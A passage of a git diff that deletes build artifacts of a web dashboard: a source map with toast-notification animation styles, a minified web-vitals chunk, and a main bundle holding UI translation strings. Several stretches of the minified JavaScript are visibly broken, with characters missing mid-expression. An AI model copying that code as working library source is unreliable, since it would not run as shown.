#{$rt-namespace}__bounceOutRight {\n 20% {\n opacity: 1;\n transform: translate3d(-20px, 0, 0);\n }\n to {\n opacity: 0;\n transform: translate3d(2000px, 0, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__bounceInLeft {\n from,\n 60%,\n 75%,\n 90%,\n to {\n @include timing-function;\n }\n 0% {\n opacity: 0;\n transform: translate3d(-3000px, 0, 0);\n }\n 60% {\n opacity: 1;\n transform: translate3d(25px, 0, 0);\n }\n 75% {\n transform: translate3d(-10px, 0, 0);\n }\n 90% {\n transform: translate3d(5px, 0, 0);\n }\n to {\n transform: none;\n }\n}\n\n@keyframes #{$rt-namespace}__bounceOutLeft {\n 20% {\n opacity: 1;\n transform: translate3d(20px, 0, 0);\n }\n to {\n opacity: 0;\n transform: translate3d(-2000px, 0, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__bounceInUp {\n from,\n 60%,\n 75%,\n 90%,\n to {\n @include timing-function;\n }\n from {\n opacity: 0;\n transform: translate3d(0, 3000px, 0);\n }\n 60% {\n opacity: 1;\n transform: translate3d(0, -20px, 0);\n }\n 75% {\n transform: translate3d(0, 10px, 0);\n }\n 90% {\n transform: translate3d(0, -5px, 0);\n }\n to {\n transform: translate3d(0, 0, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__bounceOutUp {\n 20% {\n transform: translate3d(0, -10px, 0);\n }\n 40%,\n 45% {\n opacity: 1;\n transform: translate3d(0, 20px, 0);\n }\n to {\n opacity: 0;\n transform: translate3d(0, -2000px, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__bounceInDown {\n from,\n 60%,\n 75%,\n 90%,\n to {\n @include timing-function;\n }\n 0% {\n opacity: 0;\n transform: translate3d(0, -3000px, 0);\n }\n 60% {\n opacity: 1;\n transform: translate3d(0, 25px, 0);\n }\n 75% {\n transform: translate3d(0, -10px, 0);\n }\n 90% {\n transform: translate3d(0, 5px, 0);\n }\n to {\n transform: none;\n }\n}\n\n@keyframes #{$rt-namespace}__bounceOutDown {\n 20% {\n transform: translate3d(0, 10px, 0);\n }\n 40%,\n 45% {\n opacity: 1;\n transform: translate3d(0, -20px, 0);\n }\n to {\n opacity: 0;\n transform: translate3d(0, 2000px, 0);\n }\n}\n\n.#{$rt-namespace}__bounce-enter {\n &--top-left,\n &--bottom-left {\n animation-name: #{$rt-namespace}__bounceInLeft;\n }\n &--top-right,\n &--bottom-right {\n animation-name: #{$rt-namespace}__bounceInRight;\n }\n &--top-center {\n animation-name: #{$rt-namespace}__bounceInDown;\n }\n &--bottom-center {\n animation-name: #{$rt-namespace}__bounceInUp;\n }\n}\n\n.#{$rt-namespace}__bounce-exit {\n &--top-left,\n &--bottom-left {\n animation-name: #{$rt-namespace}__bounceOutLeft;\n }\n &--top-right,\n &--bottom-right {\n animation-name: #{$rt-namespace}__bounceOutRight;\n }\n &--top-center {\n animation-name: #{$rt-namespace}__bounceOutUp;\n }\n &--bottom-center {\n animation-name: #{$rt-namespace}__bounceOutDown;\n }\n}","@keyframes #{$rt-namespace}__zoomIn {\n from {\n opacity: 0;\n transform: scale3d(0.3, 0.3, 0.3);\n }\n 50% {\n opacity: 1;\n }\n}\n\n@keyframes #{$rt-namespace}__zoomOut {\n from {\n opacity: 1;\n }\n 50% {\n opacity: 0;\n transform: scale3d(0.3, 0.3, 0.3);\n }\n to {\n opacity: 0\n }\n}\n\n.#{$rt-namespace}__zoom-enter {\n animation-name: #{$rt-namespace}__zoomIn;\n}\n\n.#{$rt-namespace}__zoom-exit {\n animation-name: #{$rt-namespace}__zoomOut;\n}\n","@keyframes #{$rt-namespace}__flipIn {\n from {\n transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n animation-timing-function: ease-in;\n opacity: 0;\n }\n 40% {\n transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n animation-timing-function: ease-in;\n }\n 60% {\n transform: perspective(400px) rotate3d(1, 0, 0, 10deg);\n opacity: 1\n }\n 80% {\n transform: perspective(400px) rotate3d(1, 0, 0, -5deg);\n }\n to {\n transform: perspective(400px);\n }\n}\n\n@keyframes #{$rt-namespace}__flipOut {\n from {\n transform: perspective(400px);\n }\n 30% {\n transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n opacity: 1\n }\n to {\n transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n opacity: 0\n }\n}\n\n.#{$rt-namespace}__flip-enter {\n animation-name: #{$rt-namespace}__flipIn;\n}\n\n.#{$rt-namespace}__flip-exit {\n animation-name: #{$rt-namespace}__flipOut;\n}\n","@mixin transform {\n transform: translate3d(0, 0, 0);\n}\n\n@keyframes #{$rt-namespace}__slideInRight {\n from {\n transform: translate3d(110%, 0, 0);\n visibility: visible;\n }\n to {\n @include transform;\n }\n}\n\n@keyframes #{$rt-namespace}__slideInLeft {\n from {\n transform: translate3d(-110%, 0, 0);\n visibility: visible;\n }\n to {\n @include transform;\n }\n}\n\n@keyframes #{$rt-namespace}__slideInUp {\n from {\n transform: translate3d(0, 110%, 0);\n visibility: visible;\n }\n to {\n @include transform;\n }\n}\n\n@keyframes #{$rt-namespace}__slideInDown {\n from {\n transform: translate3d(0, -110%, 0);\n visibility: visible;\n }\n to {\n @include transform;\n }\n}\n\n@keyframes #{$rt-namespace}__slideOutRight {\n from {\n @include transform;\n }\n to {\n visibility: hidden;\n transform: translate3d(110%, 0, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__slideOutLeft {\n from {\n @include transform;\n }\n to {\n visibility: hidden;\n transform: translate3d(-110%, 0, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__slideOutDown {\n from {\n @include transform;\n }\n to {\n visibility: hidden;\n transform: translate3d(0, 500px, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__slideOutUp {\n from {\n @include transform;\n }\n to {\n visibility: hidden;\n transform: translate3d(0, -500px, 0);\n }\n}\n\n.#{$rt-namespace}__slide-enter {\n &--top-left,\n &--bottom-left {\n animation-name: #{$rt-namespace}__slideInLeft;\n }\n &--top-right,\n &--bottom-right {\n animation-name: #{$rt-namespace}__slideInRight;\n }\n &--top-center {\n animation-name: #{$rt-namespace}__slideInDown;\n }\n &--bottom-center {\n animation-name: #{$rt-namespace}__slideInUp;\n }\n}\n\n.#{$rt-namespace}__slide-exit {\n &--top-left,\n &--bottom-left {\n animation-name: #{$rt-namespace}__slideOutLeft;\n }\n &--top-right,\n &--bottom-right {\n animation-name: #{$rt-namespace}__slideOutRight;\n }\n &--top-center {\n animation-name: #{$rt-namespace}__slideOutUp;\n }\n &--bottom-center {\n animation-name: #{$rt-namespace}__slideOutDown;\n }\n}","@keyframes #{$rt-namespace}__spin {\n from {\n transform: rotate(0deg);\n }\n to {\n transform: rotate(360deg);\n }\n}\n"],"names":[],"sourceRoot":""} \ No newline at end of file diff --git a/static/js/787.e649ba96.chunk.js b/static/js/787.e649ba96.chunk.js deleted file mode 100644 index f097235..0000000 --- a/static/js/787.e649ba96.chunk.js +++ /dev/null @@ -1,2 +0,0 @@ -"use strict";(self.webpackChunkteardroid_dashboard=self.webpackChunkteardroid_dashboard||[]).push([[787],{787:function(e,t,n){n.r(t),n.d(t,{getCLS:function(){return y},getFCP:function(){return h},getFID:function(){return C},getLCP:function(){return P},getTTFB:function(){return D}});var i,r,a,o,u=function(e,t){return{name:e,value:void 0===t?-1:t,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},c=function(e,t){try{if(PerformanceObserver.supportedEntryTypes.includes(e)){if("first-input"===e&&!("PerformanceEventTiming"in self))return;var n=new PerformanceObserver((function(e){return e.getEntries().map(t)}));return n.observe({type:e,buffered:!0}),n}}catch(e){}},f=function(e,t){var n=function n(i){"pagehide"!==i.type&&"hidden"!==document.visibilityState||(e(i),t&&(removeEventListener("visibilitychange",n,!0),removeEventListener("pagehide",n,!0)))};addEventListener("visibilitychange",n,!0),addEventListener("pagehide",n,!0)},s=function(e){addEventListener("pageshow",(function(t){t.persisted&&e(t)}),!0)},m=function(e,t,n){var i;return function(r){t.value>=0&&(r||n)&&(t.delta=t.value-(i||0),(t.delta||void 0===i)&&(i=t.value,e(t)))}},d=-1,v=function(){return"hidden"===document.visibilityState?0:1/0},p=function(){f((function(e){var t=e.timeStamp;d=t}),!0)},l=function(){return d<0&&(d=v(),p(),s((function(){setTimeout((function(){d=v(),p()}),0)}))),{get firstHiddenTime(){return d}}},h=function(e,t){var n,i=l(),r=u("FCP"),a=function(e){"first-contentful-paint"===e.name&&(f&&f.disconnect(),e.startTime-1&&e(t)},r=u("CLS",0),a=0,o=[],d=function(e){if(!e.hadRecentInput){var t=o[0],i=o[o.length-1];a&&e.startTime-i.startTime<1e3&&e.startTime-t.startTime<5e3?(a+=e.value,o.push(e)):(a=e.value,o=[e]),a>r.value&&(r.value=a,r.entries=o,n())}},v=c("layout-shift",d);v&&(n=m(i,r,t),f((function(){v.takeRecords().map(d),n(!0)})),s((function(){a=0,T=-1,r=u("CLS",0),n=m(i,r,t)})))},E={passive:!0,capture:!0},w=new Date,L=function(e,t){i||(i=t,r=e,a=new Date,F(removeEventListener),S())},S=function(){if(r>=0&&r1e12?new Date:performance.now())-e.timeStamp;"pointerdown"==e.type?function(e,t){var n=function(){L(e,t),r()},i=function(){r()},r=function(){removeEventListener("pointerup",n,E),removeEventListener("pointercancel",i,E)};addEventListener("pointerup",n,E),addEventListener("pointercancel",i,E)}(t,e):L(t,e)}},F=function(e){["mousedown","keydown","touchstart","pointerdown"].forEach((function(t){return e(t,b,E)}))},C=function(e,t){var n,a=l(),d=u("FID"),v=function(e){e.startTimeperformance.now())return;n.entries=[t],e(n)}catch(e){}},"complete"===document.readyState?setTimeout(t,0):addEventListener("pageshow",t)}}}]); -//# sourceMappingURL=787.e649ba96.chunk.js.map \ No newline at end of file diff --git a/static/js/787.e649ba96.chunk.js.map b/static/js/787.e649ba96.chunk.js.map deleted file mode 100644 index 0f662f4..0000000 --- a/static/js/787.e649ba96.chunk.js.map +++ /dev/null @@ -1 +0,0 @@ -{"version":3,"file":"static/js/787.e649ba96.chunk.js","mappings":"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","sources":["../node_modules/web-vitals/dist/web-vitals.js"],"sourcesContent":["var e,t,n,i,r=function(e,t){return{name:e,value:void 0===t?-1:t,delta:0,entries:[],id:\"v2-\".concat(Date.now(),\"-\").concat(Math.floor(8999999999999*Math.random())+1e12)}},a=function(e,t){try{if(PerformanceObserver.supportedEntryTypes.includes(e)){if(\"first-input\"===e&&!(\"PerformanceEventTiming\"in self))return;var n=new PerformanceObserver((function(e){return e.getEntries().map(t)}));return n.observe({type:e,buffered:!0}),n}}catch(e){}},o=function(e,t){var n=function n(i){\"pagehide\"!==i.type&&\"hidden\"!==document.visibilityState||(e(i),t&&(removeEventListener(\"visibilitychange\",n,!0),removeEventListener(\"pagehide\",n,!0)))};addEventListener(\"visibilitychange\",n,!0),addEventListener(\"pagehide\",n,!0)},c=function(e){addEventListener(\"pageshow\",(function(t){t.persisted&&e(t)}),!0)},u=function(e,t,n){var i;return function(r){t.value>=0&&(r||n)&&(t.delta=t.value-(i||0),(t.delta||void 0===i)&&(i=t.value,e(t)))}},f=-1,s=function(){return\"hidden\"===document.visibilityState?0:1/0},m=function(){o((function(e){var t=e.timeStamp;f=t}),!0)},v=function(){return f<0&&(f=s(),m(),c((function(){setTimeout((function(){f=s(),m()}),0)}))),{get firstHiddenTime(){return f}}},p=function(e,t){var n,i=v(),o=r(\"FCP\"),f=function(e){\"first-contentful-paint\"===e.name&&(m&&m.disconnect(),e.startTime-1&&e(t)},f=r(\"CLS\",0),s=0,m=[],v=function(e){if(!e.hadRecentInput){var t=m[0],i=m[m.length-1];s&&e.startTime-i.startTime<1e3&&e.startTime-t.startTime<5e3?(s+=e.value,m.push(e)):(s=e.value,m=[e]),s>f.value&&(f.value=s,f.entries=m,n())}},h=a(\"layout-shift\",v);h&&(n=u(i,f,t),o((function(){h.takeRecords().map(v),n(!0)})),c((function(){s=0,l=-1,f=r(\"CLS\",0),n=u(i,f,t)})))},g={passive:!0,capture:!0},y=new Date,T=function(i,r){e||(e=r,t=i,n=new Date,S(removeEventListener),E())},E=function(){if(t>=0&&t1e12?new Date:performance.now())-e.timeStamp;\"pointerdown\"==e.type?function(e,t){var n=function(){T(e,t),r()},i=function(){r()},r=function(){removeEventListener(\"pointerup\",n,g),removeEventListener(\"pointercancel\",i,g)};addEventListener(\"pointerup\",n,g),addEventListener(\"pointercancel\",i,g)}(t,e):T(t,e)}},S=function(e){[\"mousedown\",\"keydown\",\"touchstart\",\"pointerdown\"].forEach((function(t){return e(t,w,g)}))},L=function(n,f){var s,m=v(),p=r(\"FID\"),d=function(e){e.startTimeperformance.now())return;n.entries=[t],e(n)}catch(e){}},\"complete\"===document.readyState?setTimeout(t,0):addEventListener(\"pageshow\",t)};export{h as getCLS,p as getFCP,L as getFID,F as getLCP,P as getTTFB};\n"],"names":["e","t","n","i","r","name","value","delta","entries","id","concat","Date","now","Math","floor","random","a","PerformanceObserver","supportedEntryTypes","includes","self","getEntries","map","observe","type","buffered","o","document","visibilityState","removeEventListener","addEventListener","c","persisted","u","f","s","m","timeStamp","v","setTimeout","firstHiddenTime","p","disconnect","startTime","push","window","performance","getEntriesByName","requestAnimationFrame","d","l","h","hadRecentInput","length","takeRecords","g","passive","capture","y","T","S","E","entryType","target","cancelable","processingStart","forEach","w","L","b","F","once","P","getEntriesByType","timing","max","navigationStart","responseStart","readyState"],"sourceRoot":""} \ No newline at end of file diff --git a/static/js/main.58405be5.js b/static/js/main.58405be5.js deleted file mode 100644 index d4e3557..0000000 --- a/static/js/main.58405be5.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! For license information please see main.58405be5.js.LICENSE.txt */ -!function(){var e={7228:function(e){e.exports=function(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n=0||(a[n]=e[n]);return a}function u(e,t){if(null==e)return{};var n,r,a=s(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var c=JSON.parse('{"Polaris":{"ActionMenu":{"Actions":{"moreActions":"More actions"},"RollupActions":{"rollupButton":"View actions"}},"Avatar":{"label":"Avatar","labelWithInitials":"Avatar with initials {initials}"},"Autocomplete":{"spinnerAccessibilityLabel":"Loading","ellipsis":"{content}\u2026"},"Badge":{"PROGRESS_LABELS":{"incomplete":"Incomplete","partiallyComplete":"Partially complete","complete":"Complete"},"STATUS_LABELS":{"info":"Info","success":"Success","warning":"Warning","critical":"Critical","attention":"Attention","new":"New"},"progressAndStatus":"{statusLabel} {progressLabel}"},"Button":{"spinnerAccessibilityLabel":"Loading","connectedDisclosureAccessibilityLabel":"Related actions"},"Common":{"checkbox":"checkbox","undo":"Undo","cancel":"Cancel","newWindowAccessibilityHint":"(opens a new window)","clear":"Clear","close":"Close","submit":"Submit","more":"More"},"ContextualSaveBar":{"save":"Save","discard":"Discard"},"DataTable":{"sortAccessibilityLabel":"sort {direction} by","navAccessibilityLabel":"Scroll table {direction} one column","totalsRowHeading":"Totals","totalRowHeading":"Total"},"DatePicker":{"previousMonth":"Show previous month, {previousMonthName} {showPreviousYear}","nextMonth":"Show next month, {nextMonth} {nextYear}","today":"Today ","start":"Start of range","end":"End of range","months":{"january":"January","february":"February","march":"March","april":"April","may":"May","june":"June","july":"July","august":"August","september":"September","october":"October","november":"November","december":"December"},"days":{"monday":"Monday","tuesday":"Tuesday","wednesday":"Wednesday","thursday":"Thursday","friday":"Friday","saturday":"Saturday","sunday":"Sunday"},"daysAbbreviated":{"monday":"Mo","tuesday":"Tu","wednesday":"We","thursday":"Th","friday":"Fr","saturday":"Sa","sunday":"Su"}},"DiscardConfirmationModal":{"title":"Discard all unsaved changes","message":"If you discard changes, you\u2019ll delete any edits you made since you last saved.","primaryAction":"Discard changes","secondaryAction":"Continue editing"},"DropZone":{"single":{"overlayTextFile":"Drop file to upload","overlayTextImage":"Drop image to upload","actionTitleFile":"Add file","actionTitleImage":"Add image","actionHintFile":"or drop file to upload","actionHintImage":"or drop image to upload","labelFile":"Upload file","labelImage":"Upload image"},"allowMultiple":{"overlayTextFile":"Drop files to upload","overlayTextImage":"Drop images to upload","actionTitleFile":"Add files","actionTitleImage":"Add images","actionHintFile":"or drop files to upload","actionHintImage":"or drop images to upload","labelFile":"Upload files","labelImage":"Upload images"},"errorOverlayTextFile":"File type is not valid","errorOverlayTextImage":"Image type is not valid"},"EmptySearchResult":{"altText":"Empty search results"},"Frame":{"skipToContent":"Skip to content","navigationLabel":"Navigation","Navigation":{"closeMobileNavigationLabel":"Close navigation"}},"Filters":{"moreFilters":"More filters","moreFiltersWithCount":"More filters ({count})","filter":"Filter {resourceName}","noFiltersApplied":"No filters applied","cancel":"Cancel","done":"Done","clearAllFilters":"Clear all filters","clear":"Clear","clearLabel":"Clear {filterName}"},"IndexProvider":{"defaultItemSingular":"Item","defaultItemPlural":"Items","allItemsSelected":"All {itemsLength}+ {resourceNamePlural} are selected.","selected":"{selectedItemsCount} selected","a11yCheckboxDeselectAllSingle":"Deselect {resourceNameSingular}","a11yCheckboxSelectAllSingle":"Select {resourceNameSingular}","a11yCheckboxDeselectAllMultiple":"Deselect all {itemsLength} {resourceNamePlural}","a11yCheckboxSelectAllMultiple":"Select all {itemsLength} {resourceNamePlural}"},"IndexTable":{"emptySearchTitle":"No {resourceNamePlural} found","emptySearchDescription":"Try changing the filters or search term","onboardingBadgeText":"New","resourceLoadingAccessibilityLabel":"Loading {resourceNamePlural}\u2026","selectAllLabel":"Select all {resourceNamePlural}","selected":"{selectedItemsCount} selected","undo":"Undo","selectAllItems":"Select all {itemsLength}+ {resourceNamePlural}","selectItem":"Select {resourceName}","selectButtonText":"Select"},"Loading":{"label":"Page loading bar"},"Modal":{"iFrameTitle":"body markup","modalWarning":"These required properties are missing from Modal: {missingProps}"},"Page":{"Header":{"rollupActionsLabel":"View actions for {title}"}},"Pagination":{"previous":"Previous","next":"Next","pagination":"Pagination"},"ProgressBar":{"negativeWarningMessage":"Values passed to the progress prop shouldn\u2019t be negative. Resetting {progress} to 0.","exceedWarningMessage":"Values passed to the progress prop shouldn\u2019t exceed 100. Setting {progress} to 100."},"ResourceList":{"sortingLabel":"Sort by","defaultItemSingular":"item","defaultItemPlural":"items","showing":"Showing {itemsCount} {resource}","showingTotalCount":"Showing {itemsCount} of {totalItemsCount} {resource}","loading":"Loading {resource}","selected":"{selectedItemsCount} selected","allItemsSelected":"All {itemsLength}+ {resourceNamePlural} in your store are selected.","allFilteredItemsSelected":"All {itemsLength}+ {resourceNamePlural} in this filter are selected.","selectAllItems":"Select all {itemsLength}+ {resourceNamePlural} in your store","selectAllFilteredItems":"Select all {itemsLength}+ {resourceNamePlural} in this filter","emptySearchResultTitle":"No {resourceNamePlural} found","emptySearchResultDescription":"Try changing the filters or search term","selectButtonText":"Select","a11yCheckboxDeselectAllSingle":"Deselect {resourceNameSingular}","a11yCheckboxSelectAllSingle":"Select {resourceNameSingular}","a11yCheckboxDeselectAllMultiple":"Deselect all {itemsLength} {resourceNamePlural}","a11yCheckboxSelectAllMultiple":"Select all {itemsLength} {resourceNamePlural}","ariaLiveSingular":"{itemsLength} item","ariaLivePlural":"{itemsLength} items","Item":{"actionsDropdownLabel":"Actions for {accessibilityLabel}","actionsDropdown":"Actions dropdown","viewItem":"View details for {itemName}"},"BulkActions":{"actionsActivatorLabel":"Actions","moreActionsActivatorLabel":"More actions","warningMessage":"To provide a better user experience. There should only be a maximum of {maxPromotedActions} promoted actions."}},"SkeletonPage":{"loadingLabel":"Page loading"},"Tabs":{"toggleTabsLabel":"More tabs"},"Tag":{"ariaLabel":"Remove {children}"},"TextField":{"characterCount":"{count} characters","characterCountWithMaxLength":"{count} of {limit} characters used"},"TooltipOverlay":{"accessibilityLabel":"Tooltip: {label}"},"TopBar":{"toggleMenuLabel":"Toggle 